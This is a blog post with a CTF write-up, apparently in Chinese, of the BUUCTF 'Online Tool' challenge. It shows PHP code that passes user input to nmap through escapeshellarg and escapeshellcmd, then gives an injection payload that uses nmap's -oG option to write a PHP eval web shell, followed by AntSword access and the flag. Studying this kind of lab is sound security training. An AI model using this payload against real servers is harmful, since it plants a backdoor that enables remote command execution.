当前位置:网站首页>BUUCTF WEB [BUUCTF 2018]Online Tool
BUUCTF WEB [BUUCTF 2018]Online Tool
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BUUCTF 2018]Online Tool
-
进入环境,得到一段代码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
其中,
escapeshellarg()
函数用于把字符串转码为可以在 shell 命令里使用的参数,也就是将单引号等特殊符号转义,并将转义后的单引号前后用另外的两个单引号包裹<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>
escapeshellcmd()
函数用于 shell 元字符转义 ,就是在特殊字符和没有配对的单引号前插入\
<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>
这里可以参照这篇文章 谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com) 了解本题如何解
-
因为两个过滤的存在,我们只能执行一条命令。在nmap中存在几个参数
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.
可以向文件中写入命令和结果
-
这里我们可以利用
escapeshellarg
与escapeshellcmd
一起使用的漏洞构造一个命令执行漏洞?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '
回显为
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds
-
使用蚁剑连接,在文件根目录下找到flag文件
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124343895
边栏推荐
- C set Logo Icon and shortcut icon
- The database navigator uses the default MySQL connection prompt: the server time zone value 'Ö Ð¹ ú±ê ×¼ ʱ ¼ ä’ is unrecognized or repres
- Qt重绘事件与剪切
- Step function of activation function
- Windows2008系统如何切换PHP版本
- 【微信小程序】z-index失效
- I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
- 在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
- 如何防止网站被黑客入侵篡改
- A detailed explanation of head pose estimation [collection of good articles]
猜你喜欢
AI 视频云 VS 窄带高清,谁是视频时代的宠儿
【vulnhub靶场】-dc2
IDEA 中 .properties文件的中文显示乱码问题的解决办法
[unity note] basic lighting in l4unity
基于卷积神经网络的遥感影像分类识别系统
Qt绘制文字
Pagoda panel command line help tutorial (including resetting password)
STM32工程移植:不同型号芯片工程之间的移植:ZE到C8
一个平面设计师的异想世界|ONES 人物
A detailed explanation of head pose estimation [collection of good articles]
随机推荐
How much does software testing help reduce program bugs?
SQL 练习(一)
航芯技术分享 | ACM32 MCU安全特性概述
Everything can be expected in the future | one 2022 campus recruitment officially opened
IDEA 代码质量规范插件SonarLint
电脑系统卡如何解决?
Force buckle - 70 climb stairs
Xinwangda announced that the price of battery products had been increased, and the investment of "weixiaoli" exceeded 1 billion
Pagoda panel command line help tutorial (including resetting password)
AI 视频云 VS 窄带高清,谁是视频时代的宠儿
SQLserver怎么插入或更新当天的星期数,bit而不是文本
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
MySQL函数-递归函数
S2-062 远程命令执行漏洞复现(cve-2021-31805)
万事有你 未来可期 | ONES 2022校园招聘正式开启
One way ANOVA of SPSS
Uni app native app cloud packaging integrated Aurora push (jg-jpush) detailed tutorial
Array---
Lesson 23 temporary objects
Win10 splash screen after startup